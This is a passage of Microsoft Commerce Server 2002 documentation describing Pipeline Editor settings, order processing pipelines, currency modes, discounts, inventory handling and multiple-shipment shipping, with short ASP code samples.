    • Requires a non-transacted pipeline (MtsPipeline). Indicates that this configuration file can be used only with a non-transacted pipeline object (PooledPipeline, MtsPipeline, and OrderPipeline). Non-transacted pipeline objects are registered with MTS as transactions not supported.
  • Currency Mode. Determines how the pipeline handles currency values. The options are:
    • Currency and Integer (compatibility). Allows Site Server 3.0 Commerce Edition, Commerce Server 2000, and Commerce Server 2002 components using currency values to be mixed in the pipeline. The Required components at the end of each stage maintain and update two sets of currency values — one set for Site Server 3.0 Commerce Edition components and one set for Commerce Server 2002. Mixing Site Server 3.0 Commerce Edition components and Commerce Server 2002 in the same stage requires using the MoneyConverter pipeline component.
    • Currency (high-precision). Uses the higher-precision currency type for all components in the pipeline. Requires that all components using monetary values be able to use the high precision currency values. In general, the names of these components end with the suffix "Cy."
  • Supply a currency LCID. Specifies a locale ID (LCID) for currency handling. The default value is zero (0), which uses the default locale ID of the server.
  • Supply the number of decimal places used for currency rounding. Determines how many digits of precision are held by a currency (for example, two digits are held for United States pennies). This value is used for default rounding processing, and to determine the scaling factor used in legacy currency keys. This property is active only if Currency (high precision) is specified for Currency Mode.
  • Description. An area for you to enter comments about this pipeline.


Stage Properties

You use the Stage Properties dialog box to change the following properties of a pipeline stage:

  • Label. Specifies the name that the Pipeline Editor displays for this stage. You can change the name by typing a new name.
  • Description. An area for you to type a description for this stage.
  • GUID. A globally unique identifier that identifies this stage.
  • Mode. The Mode field is provided for compatibility with Site Server 2.0 pipelines, in which a number identifies which stages of a pipeline are to be run by the RunProduct, RunPlan, and RunPurchase methods of the Page object. Use 1 for RunProduct, 2 for RunPlan, and 4 for RunPurchase. A value of zero (0) prevents the stage from running
  • Error level. When any component in the stage generates an error at or above the level specified in the Error level box, the stage skips the remaining components in the stage, and logs the event in the log file. For more information about component error levels, see Error Levels.


Component Properties

You use the Component Properties dialog box to change the name of the component, to view the Class ID or ProgID of the component, and to save notes about the component.

The following properties are available in the Component Properties dialog box:

  • Label. Specifies the name that the Pipeline Editor displays for this component. You can change the name by typing a new name.
  • Class ID. Specifies the globally unique identifier (GUID) that identifies this component on any computer. This ID never changes.
  • Program ID. Specifies the easily recognizable ID for the component. This ID never changes.
  • Required. Indicates that the pipeline component should not be removed from the pipeline.
  • Description. An area for you to enter comments about this component.


Values Read and Written Properties

You use the Values Read and Written dialog box to view the values that this component reads from and writes to the order form and the values it reads from the Context dictionary object.

Note

  • The Pipeline Editor is unable to display values read and written for components that do not support the IPipelineComponentDescription interface (such as Site Server 3.0 Commerce Edition components).

The following properties are available in the Values Read and Written dialog box:

  • Values Read. Specifies the values that this component reads from the order form before it performs its function.
  • Values Written. Specifies the values that this component writes to the order form or other dictionaries after it has completed its function.
  • Context Values Read. Specifies the values that this component reads from the Context dictionary object. The Context dictionary object is passed as a parameter to the Execute method of the pipeline.

See Also

Creating a List of Values Read and Written by a Pipeline


Creation Error Properties

This dialog box displays an error to help you determine the reason that a pipeline component could not be loaded.

Try the following solutions:

  • Delete the component from the pipeline and then reinsert it.
  • Make sure that the dynamic-link library (DLL) associated with the component is properly registered.
  • If the above solutions do not correct the problem, try reinstalling Commerce Server.


Creating a Custom Pipeline

With the Pipeline Editor you can create a custom pipeline without basing it on one of the preconfigured pipeline template files (.pct).

To create a custom pipeline

  1. Click Start, point to Programs, point to Microsoft Commerce Server 2002, and then click Pipeline Editor.
  2. In the Pipeline Editor, on the File menu, click New.
  3. In the Choose a Pipeline Template box, select Empty.pct, and then click OK.

    An empty pipeline file appears.

  4. Right-click Empty Pipeline Template, and then click Properties.
  5. In the Pipeline Properties dialog box, do the following:
    Use this | To do this
    Label | Type a name for the pipeline.
    Transaction Compatibility Select a transaction compatibility option from the drop-down list. The options are:
    • Any pipeline. May be loaded into any pipeline.
    • Requires transacted pipeline. Must be loaded into an MtsTxPipeline or PooledTxPipeline pipeline.
    • Requires a non-transacted pipeline. Must be loaded into an MtsPipeline or PooledPipeline pipeline.
    Supply a currency LCID | Specify a locale ID (LCID) for currency handling. The default value is zero (0), which uses the default locale ID of the server.
    Supply the number of decimal places used for currency rounding Type the number for digits of precision to be held by the currency (for example, two digits are held for United States pennies). This value is used for default rounding processing, and to determine the scaling factor used in legacy currency keys.

    Note

    • This option is active only if Currency (high precision) is specified for Currency Mode.
    Description | Type a description for the pipeline.
  6. Click Apply, and then click OK.
  7. In the Pipeline Editor, right-click the name of the new pipeline, and then click Insert Stage.

    A New Stage placeholder appears in the pipeline.

  8. Right-click New Stage, and then click Properties.
  9. In the Stage Properties dialog box, do the following:
    Use this | To do this
    Label | Type a name for the stage.
    Description | Type a description for the stage.
    GUID | Type a globally unique identifier for the stage.
    Mode Specify the mode for the stage for compatibility with Site Server 3.0 Commerce Edition.

    Note

    • The Mode field is provided for compatibility with Site Server 2.0 pipelines, in which a number identifies which stages of a pipeline are to be run by the RunProduct, RunPlan, and RunPurchase methods of the Page object. Valid values are:
      • 1 — RunProduct
      • 2 — RunPlan
      • 4 — RunPurchase

      A value of zero (0) prevents the stage from running.

    Error level Specify the error level for the stage.

    Note

    • When any component in the stage generates an error at or above the level specified in the Error level box, the stage stops running and generates an error.
  10. Click Apply, and then click OK.
  11. Right-click the name of the new stage, and then click Insert Component.
  12. In the Choose a component dialog box, do the following:
    Use this | To do this
    Stages | Select a stage option.
    Components | Select the name of the component you want to insert.
  13. Click OK.
  14. To configure the new component, right-click the component, and then click Properties. Modify the properties of the component as necessary, and then click OK.
  15. On the File menu, click Save As, and then type a name for the pipeline configuration file in the File name box.

The file is saved with the .pcf file extension.

See Also

Starting the Pipeline Editor

Creating a New Pipeline

Adding a Component to a Pipeline

Changing the Order of Components in a Pipeline Stage

Using the Pipeline Editor Property Pages


Order Processing Pipelines

The Order Processing pipelines (OPP) are software infrastructures that link several components and run them in sequence on an OrderForm or Dictionary object. Commerce Server 2002 includes three basic types of order processing pipelines, which implement aspects of business-to-consumer and business-to-business sites.

This section contains:

  • About Order Processing Pipelines. Describes how the Order Processing pipelines work.
  • Default and Required Components. Explains the role of the Default and Required components in Order Processing pipelines. These components help to ensure data integrity during processing.
  • Currency Enhancements. Describes the high-precision currency data type and how pipeline components handle it.
  • Discount Objects. Explains the basic parts of a discount and how discounts are applied by using discount components.
  • Inventory Objects. Explains how to check and reduce inventory by using inventory components.
  • Shipping Objects. Describes the multiple-shipment shipping architecture and how to use Site Server 3.0 shipping components in Commerce Server 2002 pipelines.
  • Tax Objects. Explains how to use tax components with the multiple-shipment shipping architecture in Commerce Server 2002.
  • Business-to-Consumer Pipelines. Describes the business-to-consumer pipelines, which are the Product, Plan, and Purchase pipelines. These pipelines are used in Commerce Server sites designed for retail shopping by the public.
  • Using the Order Processing Pipelines. Explains how to use Order Processing pipeline components in Commerce Server sites.
  • Order Processing Pipelines Component Reference. Lists the components used in Order Processing pipelines.


About Order Processing Pipelines

Imagine a company department charged with processing a large volume of daily orders. To deal with the volume, the department might divide order processing into a series of steps, assigning one person to calculate shipping, another to ensure that the items ordered are in inventory, and another to check prices.

For such an assembly-line approach to work, some level of coordination is essential among the people charged with order-related tasks. Thus, while dividing order processing into stages to make large-volume processing possible, this hypothetical processing department must also define the rules that coordinate the various tasks.

The Order Processing pipelines (OPP) work in much the same way as this hypothetical department. The Order Processing pipelines divide order processing into stages that describe categories of work. Thus, a typical OPP might include a Shopper Information stage, a Payment stage, and a Shipping stage.

Each stage in a pipeline consists of zero or more components. The components are run in sequence. A component is a Component Object Model (COM) object designed to perform some operation on an OrderForm object or other Dictionary object. In many cases, this operation is small. For example, the DefaultShipping component, which runs in the Shipping stage, ensures that another component has not already calculated the shipping cost. If this cost has already been set, the DefaultShipping component overwrites the value with zero (0) to ensure that components later in the Shipping stage begin with a reliable value.

The OPP further coordinates the work of components by ensuring that every component in an OPP is reading from and writing to the same purchase order. This purchase order is the OrderForm object.

The OrderForm object, which is the link between the Web site and the pipeline, contains all the necessary information to process a purchase, including user, shipping, tax, and item price information. In addition, the OrderForm object supports the methods needed to add new items to itself. After each component in the OPP performs its work on the OrderForm object, the OPP passes the OrderForm object to the next component in the pipeline.

The designer of the pipelines for your site needs to take measures to ensure that the OPP functions correctly. First, configure the pipeline components so that they do not overwrite the work done by other components. (Components such as the DefaultShipping component are exceptions to this rule.) Second, define the conditions under which the OPP will stop processing an OrderForm object. As each component runs, it returns a status value indicating success, a warning, or failure. If you configure a stage to tolerate warnings, the OPP continues to operate despite warnings. If you configure a stage to tolerate only success, and the component returns a warning, then the OPP stops processing the OrderForm object, and returns an error. The pipeline components do not retry the transaction. When the OPP stops processing, the pipeline process fails and the order is not processed.


Default and Required Components

All the templates for the Order Processing pipelines (OPP) include Default and Required components. These components are provided to ensure the integrity of data as it comes into and goes out of a pipeline stage.

In general, Default components appear at the beginning of a stage, and site developers often replace them. Default components are all named as such—DefaultShipping, DefaultPayment, and so on. Default components ensure that critical values for the stage exist. This might involve copying the values of one set of dictionary keys to another set of keys, or initializing some values to zero. If your pipeline does not require special functionality, then the default components do not need to be replaced. However, if you need these Default components to function differently, you will need to either replace these components with other components included in Commerce Server 2002 or create your own custom components. For more information about creating custom components, see Building Pipeline Components. For a list of components included with Commerce Server 2002, see Pipeline Component Reference.

Required components ensure the integrity of the data as it leaves the pipeline stage. In many cases this involves setting values and raising errors or warnings. It can also involve checking that values were set in a previous component.

In addition, some Required components (RequiredItemPrice, for example) automatically perform currency and integer conversions at the end of a pipeline stage when the Currency Mode is set to Currency and Integer (compatibility). This means that if a pipeline stage contains only Site Server 3.0 Commerce Edition or Commerce Server 2002 objects, you do not need to worry about converting the values. For more information about currency handling, see Currency Enhancements.


Currency Enhancements

With Commerce Server 2002, you have the option of using a high-precision currency value representation. This section describes the new currency representation, explains how to use it in both old and new pipelines, and lists the new data functions for handling the currency type. For information about supporting multiple currencies, see Localizing Currencies.

This section contains:

  • Currency Overview. Describes how Site Server 3.0 Commerce Edition and Commerce Server 2002 represent currency values.
  • Currency Modes. Explains the two modes used by Commerce Server 2002 pipelines that allow you to mix old and new components together, or to improve the performance of your pipelines by using only the new currency value representation.
  • Rounding. Explains how fractional units are rounded in the different currency value representations.
  • Data Functions. Lists the new data functions that allow you to use the new currency value representation on your Active Server Pages (ASP) pages.


Currency Overview

Site Server 3.0 Commerce Edition uses long (32-bit) integers to represent money values in the base monetary unit of a locale. The base monetary unit is the smallest denomination of a currency, for example, pennies in the United States. This representation sets a relatively low limit on the maximum value that can be represented.

Commerce Server 2002 supports the OLE Automation currency data type for monetary values. This representation allows for larger values, as well as allowing up to four decimal places (internally the data type is a 64-bit integer scaled by 10000). Site Server 3.0 Commerce Edition used an integer representation ($1.99 needed to be stored as 199). Commerce Server 2002 uses a direct decimal representation ($1.99 is stored as 1.99).

Commerce Server 2002 retains the Site Server 3.0 Commerce Edition representation, as well as providing the higher-precision representation. Two different types of keys in the dictionaries depict the two representations. When a key has a high-precision currency value assigned to it, the key is prefixed with ""cy_"". The prefix follows any other prefix in the key name. For example, the high-precision currency version of the key _oadjust_adjustedprice is _cy_oadjust_adjustedprice.

See Also

Currency Modes

Rounding

Data Functions

Localizing Currencies


Currency Modes

In Commerce Server 2002, the Order Processing pipelines work in two modes: compatibility mode and high-precision mode. The default mode is compatibility mode. In this mode, monetary values are maintained in both formats, though under different dictionary keys. Compatibility mode allows Site Server 3.0 Commerce Edition pipelines to run without change. It also allows for mixing Site Server 3.0 Commerce Edition and Commerce Server 2002 components.

In high-precision mode, only the high-precision currency type is used. This provides better performance because the pipeline maintains only one set of keys. It also avoids possible loss of precision in converting the values to and from the lower-precision integer format.

You can change the mode of a pipeline in the Pipeline Editor. For more information, see Pipeline Properties. If you use the high-precision mode, all the components in the pipeline must support the high-precision currency type.

If you use compatibility mode and you use all Commerce Server 2002 components or all Site Server 3.0 Commerce Edition components within a stage, you do not have to modify your pipeline. Each stage that uses monetary types includes a Required component at the end of the stage. These components automatically update both sets of keys used in compatibility mode.

If you mix Site Server 3.0 Commerce Edition components and Commerce Server 2002 components within a stage, you will need to surround the Site Server 3.0 Commerce Edition component with the MoneyConverter component to ensure that the dictionary values are kept current for both types of components. For more information, see MoneyConverter.

See Also

Currency Overview

Rounding

Data Functions


Rounding

High-precision currency values, unlike the Site Server 3.0 Commerce Edition integer values, have a fractional part. Because of this, Commerce Server 2002 rounds high-precision currency values before writing them to the dictionary. This helps prevent situations where a fractional value might cause a total value that was not equal to the sum of displayed values.

The Commerce Server 2002 Software Development Kit (SDK) sample code for developing pipeline components includes monetary rounding functions for use in building components. See the files moneyinfo.h and moneyinfo.cpp in the SDK for more information.

See Also

Currency Overview

Currency Modes

Data Functions


Data Functions

Commerce Server 2002 provides two data functions for handling the high-precision currency type. Both are methods of the DataFunctions object.

Function | Description
ConvertStringToCurrency | Converts a string representation of money into a currency Variant, based on the specified locale and currency symbol.
LocalizeCurrency | Creates a string representation of a currency value by using a specified locale and currency symbol.

See Also

Currency Overview

Currency Modes

Rounding


Discount Objects

Microsoft Commerce Server 2002 provides a flexible and powerful way to apply and manage discounts. The Content Selection Framework processes discounts by using the same pipelines that are used for ad selection and order processing.

Discounts are set up as parts of campaigns. For information about setting up discounts through Commerce Server Business Desk, see Creating a Discount. For information about the Content Selection pipeline, see Content Selection Pipelines.

This section contains:

  • Overview of Discount Elements. Describes the four elements of a discount: requirement, condition, award, and offer. Also described are the differences between order-level and item-level discounts.
  • How Discounts Are Applied Programmatically. Describes how the condition, award, and offer are evaluated in order to apply discounts to the purchases in the basket.


Overview of Discount Elements

In Microsoft Commerce Server 2002, discounts have four parts. In addition, discounts can apply either to the entire order or to individual items in the order. The four elements of a discount are:

  • Requirement. Requirements are general conditions that must be true for the discount to apply. These are often target expressions that are evaluated based on the user profile and the context profile. An example of a requirement would be that the user be a preferred shopper.
  • Condition. A condition that must be true for the discount to apply. Conditions are evaluated on individual items in the order form. Expressions for conditions can be built with the product picker or the Expression Builder in Commerce Server Business Desk. A condition includes things such as a specific SKU, a product category, or a particular manufacturer.
  • Award. An award condition that must be true for the discount to apply. An award condition is evaluated for individual items in the order form. An award condition can be an expression that the discount applies to any item or to all items.
  • Offer. An offer that is applied if the requirement, condition, and award are met. An offer is what is normally thought of as a discount — a percentage or monetary amount taken off the price of the product.

Discounts can be applied against an entire order (an order-level discount), or they can be applied against items in the order (an item-level discount). Free shipping is the only order-level discount built into Commerce Server. Other order-level discounts require custom programming.

See Also

How Discounts Are Applied Programmatically


How Discounts Are Applied Programmatically

In a Content Selection pipeline, the ScoreDiscounts component adjusts the scores in the list of possible discounts to ensure that the most relevant discounts receive the highest priority. The OrderDiscount pipeline component in an Order pipeline applies the list of discounts to the basket of the user.

The OrderDiscount component first evaluates the requirements of the available discounts. Depending on the discount involved, it uses the user profile and context profile information to form target expressions that it evaluates. In addition, if a discount requires a click, the component checks the discounts_clicked list (a list of campaign item IDs of every item that was clicked).

For each line item in the order, the OrderDiscount component writes two keys to the item dictionary: _n_unadjusted and _cy_oadjust_adjustedprice. The first key is the quantity of the item that has not had discounts applied. The second key is the total price of the items before discounts. The _n_unadjusted key is set to the quantity of the item; the _cy_oadjust_adjustedprice key is set to the total price for the items.

The OrderDiscount component next goes through the items, testing the conditions and awards. As an item is used in a discount, the two keys (_n_unadjusted and _cy_oadjust_adjustedprice) are adjusted appropriately. Discounts are applied from highest to lowest priority. If two discounts have the same priority, the discount appearing first in the database is applied.

There can be a limit to how many discounts can be applied to a basket. This limit is set in Commerce Server Business Desk. If the discount limit has a value of zero (0), discounts are unlimited. The discount limit is a basket limit and does not apply across baskets.

The OrderDiscount component uses a list to ensure integrity in the process. The component stores a list of discounts that were applied and the last time the discount was modified. If, on the next request, discounts that were applied no longer apply, the pur_dicountremoved error is added to the _Basket_Errors list.

The discount cache must be manually refreshed after changes are made to any discount. You can do this by using the Publish Campaigns module in the Campaigns category of Business Desk.

One way to implement discounts on your site is to accept promotional codes. First, set up the discount properties and the display information through Business Desk. Next, configure the discount definition by using the Expression Builder. For example, the expression could be Context.PromoCode equals 1234. Modifications will need to be made to the source code for the site. When the basket pipeline is called, a ContextProfile dictionary (which is a subdictionary of the Context dictionary) must be passed, and the promotional code entered must be set.

See Also

Overview of Discount Elements

Step 6: Updating the campaign on the Retail site

Business Desk Campaigns


Inventory Objects

Inventory management in Commerce Server sites usually occurs in two stages in the Order Processing pipelines (OPP).

The first stage, the Inventory stage, is usually configured to include components that determine whether a sufficient number of items are available to fill the order for a given product.

The second stage, the Accept stage, can be configured to modify the product table for a site to reflect the new number of items available for a given product. Optionally, you can use the SQLItemADO component in either the Inventory or Accept stage to reduce the local inventory after the items have been purchased.

This section explains how to use the inventory components included in Commerce Server 2002, and explains how you can use Commerce Server to address issues that arise in the context of inventory control.

This section contains:

  • Inventory and Backordering
  • Reducing Inventory


Inventory and Backordering

How you manage inventory on your site depends largely on how you want to respond to a situation in which a given item is out of stock. In such a situation you can either place the item on backorder, or you can notify the customer that the item is not currently available.

The FlagInventory and LocalInventory components, which have an affinity with the Inventory stage, coordinate with the Product Info stage to support either response.

Flag Inventory Checking

Quantity-Based Inventory Checking

Flag Inventory Checking

The FlagInventory component is designed to identify items in the items SimpleList object that are out of stock. When this component runs, it iterates through the items in the items SimpleList object to verify that the _product_in_stock name/value pair for a given item is not zero (0).

If the _product_in_stock name/value pair evaluates to zero (0), the FlagInventory component can respond in one of two ways. The component supports a Disallow Backorder property, which you set by using the property page for the component. If the Disallow Backorder check box is selected, and _product_in_stock evaluates to zero (0), the FlagInventory component adds a _pur_out_of_stock message to the _Purchase_Errors SimpleList object. If the Disallow Backorder check box is not selected, and _product_in_stock evaluates to zero (0), then the _inventory_backorder name/value pair for the affected item is set to zero (0).

Note

  • The FlagInventory component requires that each line item specify _product_in_stock.

Quantity-Based Inventory Checking

The LocalInventory component compares the number of units in the Quantity name/value pair to the number in the _product_local_inventory name/value pair. The _product_local_inventory name/value pair should represent the actual number of items in stock. If the Quantity name/value pair exceeds _product_local_inventory, the difference between these two numbers is written to the _inventory_backorder name/value pair, provided that the LocalInventory component is configured to allow backordering. Otherwise, the LocalInventory component, like the FlagInventory component, writes a _pur_out_of_stock message to the _Purchase_Errors SimpleList object.

The LocalInventory component should be added to the basket pipeline to check item availability when the product is added to the basket. If you include the LocalInventory component in the pipeline for your site, the script that you use to display the basket to your users should be written to notify them that a requested item is either out of stock or on backorder.

Note

  • The LocalInventory component requires that each line item specify product_local_inventory.


Reducing Inventory

The FlagInventory and LocalInventory components are strictly informational components. This means that while they provide notification that a given item is out of stock, they assume that _product_local_inventory for the line item has been maintained by some other process. The SQLItemADO pipeline component can be used to run an SQL query that updates the product inventory.

Note

  • You must unpack a site before starting the following procedure.

To update your inventory using the SQLItemADO pipeline component

  1. Click Start, point to Programs, point to Microsoft Commerce Server 2002, and then click Pipeline Editor.
  2. In the Pipeline Editor, browse to the location of the file total.pcf (for example, <drive:>\Inetpub\wwwroot\<site name>\pipeline), and then double-click the file.

    The total.pcf pipeline appears.

  3. On the pipeline, select the Inventory stage, and then on the Edit menu, point to Insert Component, and click After.
  4. In the Choose a component dialog box, do the following:
    Use this | To do this
    Stages | Select All.
    Components | Select SQLItemADO.
  5. Click OK. The SQLItemADO component appears as a valve on the pipeline.
  6. Double-click the SQLItemADO component.
  7. In the Component Properties dialog box, on the SQL Item (ADO) tab, do the following:
    Use this | To do this
    Connection String | Type an OLE DB connection string to the table storing the inventory data.
    Query Type the SQL query that will update the inventory in the database. The syntax required to replace values in the SQL query is:

    :<position>

    This will replace the items in the SQL query with items listed in the Parameter List box. For example, if you had to replace two values in an SQL query, the format would be:

    SELECT * FROM:1 WHERE Param2='':2''
    Parameter List | Type the list of values you want to use in the SQL query that will be evaluated at run time. The Parameter List box uses a special format for replacement. To retrieve data from the order form, use the notation item.<orderformvalue>. For example, to retrieve the quantity of the items ordered from the order form, you would use item.quantity.

    Click OK.

  8. To save your changes, on the File menu, click Save.

Special Considerations for Inventory

You might have a situation in which two customers want an item of which there is only one in stock. As the OrderForm object for each customer passes through the Plan pipeline, the inventory components indicate to both customers that the product is in stock. This is correct behavior, because the number that indicates how many items of a given SKU are in stock has not yet been reduced to zero (0) by an Accept stage component.

However, when the first customer runs through the Purchase pipeline, the SQLItemADO component will reduce the in-stock value to zero (0). When the second customer runs through the Purchase pipeline, the SQLItemADO component will reduce this value to a negative integer. This scenario creates a backorder, even if the Plan pipeline for the site is configured to not allow back ordering.

There are two ways to address this problem:

  • One solution is to include at the beginning of the Accept stage a SQLItemADO component that checks to ensure that the number of items in stock for a given SKU is greater than zero (0). If no items for a given SKU are in stock, the SQLItemADO component can place the items on backorder (by initializing the _inventory_backorder name/value pair) or can raise the _pur_out_of_stock error.
  • A second solution is to include an instance of the appropriate inventory component, FlagInventory for example, in both the Inventory stage (Plan pipeline) and the Accept stage (Purchase pipeline). Following this component, you would include the SQLItemADO component. The inventory component would run the query to decrement the in-stock value for the item.


Shipping Objects

Microsoft Commerce Server 2002 provides components to support multiple shipments per order.

This section contains:

  • Multiple-shipment Shipping Architecture. Describes the multiple-shipment shipping architecture, the components and objects it uses, and provides code showing how to use these features.
  • Multilingual Shipping Methods. Describes how to display shipping methods in the user's preferred language.
  • Using Site Server 3.0 Commerce Edition Shipping Components. Describes how to use the Site Server 3.0 Commerce Edition shipping components.


Multiple-shipment Shipping Architecture

The Commerce Server 2002 multiple-shipment shipping architecture consists of three pipeline components and two objects that work together to create a powerful and easy-to-use way of handling shipping.

This section contains:

  • Overview of the Multiple-shipment Shipping Architecture. Describes the multiple-shipment shipping architecture and components.
  • Setting Up the Pipeline and Cache. Describes the Active Server Pages (ASP) code required for using the multiple-shipment components in the pipeline.
  • Using the Splitter Component to Create Multiple Shipments. Describes how to set up the Splitter component to divide orders into multiple shipments.
  • Previewing Shipping Costs. Describes how to provide shipping cost previews.
  • Adding Shipping Methods and Components. Describes how to add shipping methods and individual shipping components to the multiple-shipment shipping architecture.
  • Shipping and Address Structures. Describes the dictionaries and simple lists used in the processing of multiple shipments.

See Also

Using Site Server 3.0 Commerce Edition Shipping Components

MinMaxShip Sample Pipeline Component


Overview of the Multiple-shipment Shipping Architecture

The multiple-shipment shipping architecture of Commerce Server 2002 has two purposes: simple modification of shipping method configuration by non-programmers, and the processing of multiple shipments per order.

In the multiple-shipment shipping architecture, the Shipping stage generally uses the same three components: the Splitter, the ShippingMethodRouter, and the ShippingDiscountAdjust components. The Splitter component in its shipping configuration takes the order and splits it into separate shipments. The ShippingMethodRouter component then processes the separate shipments. From the shipment and a database table of shipping information, the ShippingMethodRouter component determines which individual shipping component to use to process a given shipment. The optional third pipeline component, the ShippingDiscountAdjust component, applies shipping discounts to the order.

The ShippingMethodRouter, Splitter, and ShippingDiscountAdjust components are the only shipping components that should be inserted in a pipeline. The ShippingMethodRouter component runs shipping methods configured with the ShippingMethodManager object.

All shipping cost calculation components, except the Splitter component, should be registered with the ShippingMethodRouter component. The shipping cost calculation components that the ShippingMethodRouter component runs are configured in the Shipping Methods module in Commerce Server Business Desk.

The following figure illustrates the relationships between all of the parts of the shipment component process.

This figure illustrates how the Splitter component and the ShippingMethodRouter component work with other objects to process shipments.

Two components use the ShippingConfig table, which is used by the ShippingMethodRouter component. Business Desk uses one of these components, the ShippingMethodManager, to modify the database. The business manager can modify shipping methods through the Shipping Methods module in Business Desk.

The second component is the ShippingManagerCache. The CacheManager object uses this component to load data from the ShippingConfig table into the cache. The ShippingMethodRouter component, in turn, uses the ShippingManagerCache component to get and maintain the cached shipping information.

The following table lists the components and objects in the multiple-shipment shipping architecture, and provides links to more detailed information about each object and component.

Object | Description
ShippingMethodRouter | This object determines the shipping method, runs the individual shipping components, and calculates the total shipping costs for the order.
StepwiseShipping | This pipeline component calculates shipping for individual shipments. It handles charging by weight, quantity, and price. This component is run and configured by the ShippingMethodRouter component. This component can be replaced or augmented by custom components.
ShippingMethodManager Object | This object manages the ShippingConfig database table. This table is used by Business Desk through the ShippingMethodManager object. The ShippingConfig table contains the information used by the ShippingMethodRouter component.
ShippingManagerCache | This loader component is used by the CacheManager object to handle data from the ShippingConfig database table.
Shipping Object | This object provides a method, PreviewShipments, to produce shipping cost previews.
ShippingDiscountAdjust | This component applies shipping discounts to an order; it uses the multiple-shipment shipping architecture.
Splitter | In its shipping configuration, this component divides an order into multiple shipments based on a set of distinguishers.

Taxes are calculated on individual shipments because they can vary based on the shipment. New tax components need to take into account the multiple-shipment structure. The SampleRegionalTax component is an example of such a tax component. For more information about the multiple-shipment structure, see Shipping and Address Structures.

Handling charges, however, are calculated based on the order, rather than on the individual shipments.

See Also

Setting Up the Pipeline and Cache

Using the Splitter Component to Create Multiple Shipments

Previewing Shipping Costs

Adding Shipping Methods and Components

Shipping and Address Structures


Setting Up the Pipeline and Cache

In the multiple-shipment shipping architecture, the Shipping stage of a pipeline contains two or three components: Splitter, ShippingMethodRouter, and occasionally the ShippingDiscountAdjust component. The Splitter component divides the order into a series of shipments; the ShippingMethodRouter component takes the shipments created by the Splitter component, checks the shipping method, and runs the appropriately configured shipping component.

In addition to including the two pipeline components in the pipeline, you need to add some Active Server Pages (ASP) code to your pages to handle setting up the CacheManager object and to provide the Context dictionary values expected by the Splitter and ShippingMethodRouter components.

Both the Splitter and ShippingMethodRouter components use the CacheManager object to retrieve information from the ShippingConfig database table. The CacheManager object, in turn, uses a loader component, ShippingManagerCache, to retrieve the information from the database. Setting up the CacheManager object for the shipping components is roughly the same as for any other component using the CacheManager object. Most of the code is contained in the Global.asa file, in the Application_OnStart procedure. For example:

'' Code to set up the CacheManager object and loader for the
'' multiple shipping components.

'' Create a Dictionary object to hold the configuration information.
Set dShipConfig = Server.CreateObject(""Commerce.Dictionary"")

'' Add the connection string to the configuration dictionary.
dShipConfig(""ConnectionString"") = ""DSN=shipsamples;UID=username;PWD=******""

'' Create a CacheManager object.
Set oCM = Server.CreateObject(""Commerce.CacheManager"")

'' Set the ProgID of the loader for the cache.
oCM.LoaderProgId(""ShippingManagerCache"") = _
                    ""Commerce.ShippingManagerCache""

'' Set the loader''s configuration dictionary.
Set oCM.LoaderConfig(""ShippingManagerCache"") = dShipConfig

'' Set the CacheManager object refresh interval to 10 minutes.
oCM.RefreshInterval(""ShippingManagerCache"") = 10 * 60

'' Set the CacheManager object retry interval to 1 minute.
oCM.RetryInterval(""ShippingManagerCache"") = 60

'' Store a reference to the CacheManager object in the Application object.
Set Application(""MSCSCacheManager"") = oCM

Note that in the preceding code, you must use the identifier ""ShippingManagerCache"" when setting the LoaderProgID, LoaderConfig, and other properties. On the page that runs the pipeline, only one additional line of code is needed:

'' Add the items specific to the shipping components.
''
''Add a reference to the CacheManager object created in the Global.asa file
''to the Context dictionary.
Set dContext(""CacheManager"") = Application(""MSCSCacheManager"")

The code to invoke the pipeline would follow this code.

See Also

Overview of the Multiple-shipment Shipping Architecture

Using the Splitter Component to Create Multiple Shipments

Previewing Shipping Costs

Adding Shipping Methods and Components

Shipping and Address Structures


Using the Splitter Component to Create Multiple Shipments

The Splitter component allows you to split orders based on any of the attributes of the line items. The default distinguishers for splitting orders are shipping_method_id and shipping_address_id keys. You can specify other keys to use as criteria in the Input Distinguishers box on the Component Properties tab, which can be displayed by double-clicking the Splitter component in the Pipeline Editor.

Each line in the following table represents a dictionary pointed to by an element of the SimpleList object. The dictionaries also include a key, ItemIndexes, which is a reference to a SimpleList object. Each element in the SimpleList object is an index into the LineItems dictionary, containing line items in the actual order.

The following example has four line items, numbered zero through three. The following table contains a list of some of their attributes.

shipping_method_id | shipping_address_id | shipping_date | catalog | vendor
A | Home | ASAP | A | A
A | Home | ASAP | A | A
B | Work | ASAP | B | B
A | Work | 3/1 | C | B

If you split the previous information by the distinguishers shipping_method_id and shipping_address_id, to an output structure called _shipments, a SimpleList object of dictionaries will be on your order form called ""shipments"" with the following entries:

shipping_method_id | shipping_address_id | ItemIndexes
A | Home | 0,1
B | Work | 2
A | Work | 3

If you sort the the four line items by vendor, to an output structure called _Vendors, a SimpleList of dictionaries will be on your order form called ""_Vendors"" with the following entries:

vendor | ItemIndexes
A | 0,1
B | 2,3

Previewing shipping costs for a user is more complex when shipments are split. You can use the PreviewShipments method of the Shipping object to get the data to display in your ASP page. For more information, see Shipping.PreviewShipments.

See Also

Overview of the Multiple-shipment Shipping Architecture

Setting Up the Pipeline and Cache

Previewing Shipping Costs

Adding Shipping Methods and Components

Shipping and Address Structures


Previewing Shipping Costs

To display the shipping cost previews on your page, use the PreviewShipments method of the Shipping object.

The PreviewShipments method creates the shipping cost previews by splitting the order into individual shipments, just as the Splitter component does in its shipping configuration. For more information about how shipment distinguishers are used to split shipments, see Using the Splitter Component to Create Multiple Shipments and Splitter.

The PreviewShipments method returns a SimpleList object of dictionaries, one for each shipment. Each shipment dictionary in turn contains a SimpleList object of dictionaries, each of which contains the shipping cost for using a particular shipping method.

To loop through all the shipping cost previews for all shipments, you might use code like the following:

Set oShip = Server.CreateObject(""Commerce.Shipping"")
ADistinguishers = Array(""shipping_method_id"", ""shipping_address_id"")
slShipments = oShip.PreviewShipments(dOrder, dContext, ADistinguishers)
For Each dShipment In slShipments
    For Each dPreview In dShipment.Previews

        '' Inside the loop, you can get the preview
        '' information:
        '' dPreview(""shipment_error"")  -  the shipment error, if any
        '' dPreview(""shipping_method_id"")  -  the shipping method ID
        '' dPreview(""shipping_method_name"")  -  the shipping method name
        '' dPreview(""description"")  -  the shipping method description
        '' dPreview(""_cy_shipping_total"")  -  the shipping cost

    Next
Next

See Also

Overview of the Multiple-shipment Shipping Architecture

Setting Up the Pipeline and Cache

Using the Splitter Component to Create Multiple Shipments

Adding Shipping Methods and Components

Shipping and Address Structures


Adding Shipping Methods and Components

